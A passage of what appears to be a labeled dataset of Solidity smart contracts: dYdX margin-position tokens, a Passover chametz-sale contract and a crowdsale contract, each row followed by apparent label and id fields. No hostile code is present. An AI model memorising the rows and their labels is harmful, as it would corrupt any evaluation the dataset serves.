TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
interface PositionCustodian {
function getPositionDeedHolder(
bytes32 positionId
)
external
view
returns (address);
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract ERC20Position is
ReentrancyGuard,
StandardToken,
OnlyMargin,
PositionOwner,
IncreasePositionDelegator,
ClosePositionDelegator,
PositionCustodian
{
using SafeMath for uint256;
enum State {
UNINITIALIZED,
OPEN,
CLOSED
}
event Initialized(
bytes32 positionId,
uint256 initialSupply
);
event ClosedByTrustedParty(
address closer,
uint256 tokenAmount,
address payoutRecipient
);
event CompletelyClosed();
event Withdraw(
address indexed redeemer,
uint256 tokensRedeemed,
uint256 heldTokenPayout
);
event Close(
address indexed redeemer,
uint256 closeAmount
);
address public INITIAL_TOKEN_HOLDER;
bytes32 public POSITION_ID;
mapping (address => bool) public TRUSTED_RECIPIENTS;
mapping (address => bool) public TRUSTED_WITHDRAWERS;
State public state;
address public heldToken;
bool public closedUsingTrustedRecipient;
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"ERC20Position#onlyPosition: Incorrect position"
);
_;
}
modifier onlyState(State specificState) {
require(
state == specificState,
"ERC20Position#onlyState: Incorrect State"
);
_;
}
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
state = State.UNINITIALIZED;
INITIAL_TOKEN_HOLDER = initialTokenHolder;
closedUsingTrustedRecipient = false;
uint256 i;
for (i = 0; i < trustedRecipients.length; i++) {
TRUSTED_RECIPIENTS[trustedRecipients[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
}
function receivePositionOwnership(
address ,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyState(State.UNINITIALIZED)
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
assert(position.principal > 0);
state = State.OPEN;
heldToken = position.heldToken;
uint256 tokenAmount = getTokenAmountOnAdd(position.principal);
emit Initialized(POSITION_ID, tokenAmount);
mint(INITIAL_TOKEN_HOLDER, tokenAmount);
return address(this);
}
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address)
{
require(
!Margin(DYDX_MARGIN).isPositionCalled(POSITION_ID),
"ERC20Position#increasePositionOnBehalfOf: Position is margin-called"
);
require(
!closedUsingTrustedRecipient,
"ERC20Position#increasePositionOnBehalfOf: Position closed using trusted recipient"
);
uint256 tokenAmount = getTokenAmountOnAdd(principalAdded);
mint(trader, tokenAmount);
return address(this);
}
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address, uint256)
{
uint256 positionPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(positionId);
assert(requestedAmount <= positionPrincipal);
uint256 allowedAmount;
if (TRUSTED_RECIPIENTS[payoutRecipient]) {
allowedAmount = closeUsingTrustedRecipient(
closer,
payoutRecipient,
requestedAmount
);
} else {
allowedAmount = close(
closer,
requestedAmount,
positionPrincipal
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= requestedAmount);
if (allowedAmount == positionPrincipal) {
state = State.CLOSED;
emit CompletelyClosed();
}
return (address(this), allowedAmount);
}
function withdraw(
address onBehalfOf
)
external
nonReentrant
returns (uint256)
{
setStateClosedIfClosed();
require(
state == State.CLOSED,
"ERC20Position#withdraw: Position has not yet been closed"
);
if (msg.sender != onBehalfOf) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"ERC20Position#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
return withdrawImpl(msg.sender, onBehalfOf);
}
function name()
external
view
returns (string);
function symbol()
external
view
returns (string);
function decimals()
external
view
returns (uint8);
function getPositionDeedHolder(
bytes32 positionId
)
external
view
onlyPosition(positionId)
returns (address)
{
return address(this);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
assert(requestedAmount > 0);
if (!closedUsingTrustedRecipient) {
closedUsingTrustedRecipient = true;
}
emit ClosedByTrustedParty(closer, requestedAmount, payoutRecipient);
return requestedAmount;
}
function withdrawImpl(
address receiver,
address onBehalfOf
)
private
returns (uint256)
{
uint256 value = balanceOf(onBehalfOf);
if (value == 0) {
return 0;
}
uint256 heldTokenBalance = TokenInteract.balanceOf(heldToken, address(this));
uint256 heldTokenPayout = MathHelpers.getPartialAmount(
value,
totalSupply_,
heldTokenBalance
);
burn(onBehalfOf, value);
emit Withdraw(onBehalfOf, value, heldTokenPayout);
TokenInteract.transfer(heldToken, receiver, heldTokenPayout);
return heldTokenPayout;
}
function setStateClosedIfClosed(
)
private
{
if (state == State.OPEN && Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
state = State.CLOSED;
emit CompletelyClosed();
}
}
function close(
address closer,
uint256 requestedAmount,
uint256 positionPrincipal
)
private
returns (uint256)
{
uint256 balance = balances[closer];
(
uint256 tokenAmount,
uint256 allowedCloseAmount
) = getCloseAmounts(
requestedAmount,
balance,
positionPrincipal
);
require(
tokenAmount > 0 && allowedCloseAmount > 0,
"ERC20Position#close: Cannot close 0 amount"
);
assert(allowedCloseAmount <= requestedAmount);
burn(closer, tokenAmount);
emit Close(closer, tokenAmount);
return allowedCloseAmount;
}
function burn(
address from,
uint256 amount
)
private
{
assert(from != address(0));
totalSupply_ = totalSupply_.sub(amount);
balances[from] = balances[from].sub(amount);
emit Transfer(from, address(0), amount);
}
function mint(
address to,
uint256 amount
)
private
{
assert(to != address(0));
totalSupply_ = totalSupply_.add(amount);
balances[to] = balances[to].add(amount);
emit Transfer(address(0), to, amount);
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256);
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
);
}
contract ERC20CappedPosition is
ERC20Position,
Ownable
{
using SafeMath for uint256;
event TokenCapSet(
uint256 tokenCap
);
event TrustedCloserSet(
address closer,
bool allowed
);
mapping(address => bool) public TRUSTED_LATE_CLOSERS;
uint256 public tokenCap;
constructor(
address[] trustedLateClosers,
uint256 cap
)
public
Ownable()
{
for (uint256 i = 0; i < trustedLateClosers.length; i++) {
TRUSTED_LATE_CLOSERS[trustedLateClosers[i]] = true;
}
tokenCap = cap;
}
function setTokenCap(
uint256 newCap
)
external
onlyOwner
{
tokenCap = newCap;
emit TokenCapSet(newCap);
}
function setTrustedLateCloser(
address closer,
bool allowed
)
external
onlyOwner
{
TRUSTED_LATE_CLOSERS[closer] = allowed;
emit TrustedCloserSet(closer, allowed);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
bool afterEnd =
block.timestamp > uint256(position.startTimestamp).add(position.maxDuration);
bool afterCall =
position.callTimestamp > 0 &&
block.timestamp > uint256(position.callTimestamp).add(position.callTimeLimit);
if (afterCall || afterEnd) {
require (
TRUSTED_LATE_CLOSERS[closer],
"ERC20CappedPosition#closeUsingTrustedRecipient: closer not in TRUSTED_LATE_CLOSERS"
);
}
return super.closeUsingTrustedRecipient(closer, payoutRecipient, requestedAmount);
}
}
library StringHelpers {
function bytes32ToHex(
bytes32 input
)
internal
pure
returns (bytes)
{
uint256 number = uint256(input);
bytes memory numberAsString = new bytes(66);
numberAsString[0] = byte(48);
numberAsString[1] = byte(120);
for (uint256 n = 0; n < 32; n++) {
uint256 nthByte = number / uint256(uint256(2) ** uint256(248 - 8 * n));
uint8 hex1 = uint8(nthByte) / uint8(16);
uint8 hex2 = uint8(nthByte) % uint8(16);
hex1 += (hex1 > 9) ? 87 : 48;
hex2 += (hex2 > 9) ? 87 : 48;
numberAsString[2 * n + 2] = byte(hex1);
numberAsString[2 * n + 3] = byte(hex2);
}
return numberAsString;
}
}
contract ERC20Short is ERC20Position {
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
ERC20Position(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
{}
function decimals()
external
view
returns (uint8)
{
address owedToken = Margin(DYDX_MARGIN).getPositionOwedToken(POSITION_ID);
return DetailedERC20(owedToken).decimals();
}
function symbol()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "s[UNINITIALIZED]";
}
address owedToken = Margin(DYDX_MARGIN).getPositionOwedToken(POSITION_ID);
return string(
abi.encodePacked(
"s",
bytes(DetailedERC20(owedToken).symbol())
)
);
}
function name()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "dYdX Short Token [UNINITIALIZED]";
}
return string(
abi.encodePacked(
"dYdX Short Token ",
StringHelpers.bytes32ToHex(POSITION_ID)
)
);
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256)
{
return principalAdded;
}
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
)
{
assert(positionPrincipal <= totalSupply_);
uint256 amount = Math.min256(balance, requestedCloseAmount);
return (amount, amount);
}
}
contract ERC20CappedShort is
ERC20Short,
ERC20CappedPosition,
DetailedERC20
{
using SafeMath for uint256;
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers,
address[] trustedLateClosers,
uint256 cap,
string name,
string symbol,
uint8 decimals
)
public
ERC20Short(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
ERC20CappedPosition(
trustedLateClosers,
cap
)
DetailedERC20(
name,
symbol,
decimals
)
{
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256)
{
uint256 tokenAmount = super.getTokenAmountOnAdd(principalAdded);
require(
totalSupply_.add(tokenAmount) <= tokenCap,
"ERC20CappedShort#getTokenAmountOnAdd: Adding tokenAmount would exceed cap"
);
return tokenAmount;
}
} | 0 | 892 |
pragma solidity ^0.4.9;
contract SaleOfChametz {
struct Deal {
address seller;
}
Deal[] public deals;
uint public nextDealIndex;
mapping(address=>uint) public sellerNumOpenDeals;
mapping(address=>uint) public buyerNumDeals;
event Sell( address indexed seller, uint timestamp );
event Buy( address indexed buyer, address indexed seller, uint timestamp );
event ReturnChametz( address indexed buyer, uint payment, uint timestamp );
event CancelSell( address indexed seller, uint payment, uint timestamp );
uint constant public passoverStartTime = 1491840000;
uint constant public passoverEndTime = 1492401600;
uint constant public downPayment = 30 finney;
uint constant public buyerBonus = 30 finney;
function SaleOfChametz() {}
function numChametzForSale() constant returns(uint) {
return deals.length - nextDealIndex;
}
function sell() payable {
if( now >= passoverStartTime ) throw;
if( msg.value != buyerBonus ) throw;
Deal memory deal;
deal.seller = msg.sender;
sellerNumOpenDeals[ msg.sender ]++;
deals.push(deal);
Sell( msg.sender, now );
}
function buy() payable {
if( now >= passoverStartTime ) throw;
if( msg.value != downPayment ) throw;
if( deals.length <= nextDealIndex ) throw;
Deal memory deal = deals[nextDealIndex];
if( sellerNumOpenDeals[ deal.seller ] > 0 ) {
sellerNumOpenDeals[ deal.seller ]--;
}
buyerNumDeals[msg.sender]++;
nextDealIndex++;
Buy( msg.sender, deal.seller, now );
}
function returnChametz() {
if( now <= passoverEndTime ) throw;
if( buyerNumDeals[msg.sender] == 0 ) throw;
uint payment = buyerNumDeals[msg.sender] * (downPayment + buyerBonus);
buyerNumDeals[msg.sender] = 0;
if( ! msg.sender.send( payment ) ) throw;
ReturnChametz( msg.sender, payment, now );
}
function cancelSell() {
if( now <= passoverStartTime ) throw;
if( sellerNumOpenDeals[ msg.sender ] == 0 ) throw;
uint payment = sellerNumOpenDeals[ msg.sender ] * buyerBonus;
sellerNumOpenDeals[ msg.sender ] = 0;
if( ! msg.sender.send( payment ) ) throw;
CancelSell( msg.sender, payment, now );
}
} | 0 | 780 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint public joinedCrowdsalesLen = 0;
address public lastCrowdsale;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if(tokenAmount > earlyParticipantWhitelist[receiver].maxCap) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
if (isWhiteListed) {
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParicipantWhitelist(msg.sender, this, tokenAmount);
}
}
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status, uint minCap, uint maxCap) onlyOwner {
if (!isWhiteListed) throw;
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
Whitelisted(addr, status);
}
function setEarlyParicipantsWhitelist(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) onlyOwner {
if (!isWhiteListed) throw;
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParicipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateEarlyParicipantWhitelist(address addr, address contractAddr, uint tokensBought) {
if (tokensBought < earlyParticipantWhitelist[addr].minCap) throw;
if (!isWhiteListed) throw;
if (addr != msg.sender && contractAddr != msg.sender) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function updateJoinedCrowdsales(address addr) onlyOwner {
joinedCrowdsales[joinedCrowdsalesLen++] = addr;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function clearJoinedCrowdsales() onlyOwner {
joinedCrowdsalesLen = 0;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) onlyOwner {
clearJoinedCrowdsales();
for (uint iter = 0; iter < addrs.length; iter++) {
if(joinedCrowdsalesLen == joinedCrowdsales.length) {
joinedCrowdsales.length += 1;
}
joinedCrowdsales[joinedCrowdsalesLen++] = addrs[iter];
if (iter == addrs.length - 1)
setLastCrowdsale(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(time > endsAt) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
if (time > crowdsale.startsAt()) throw;
}
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
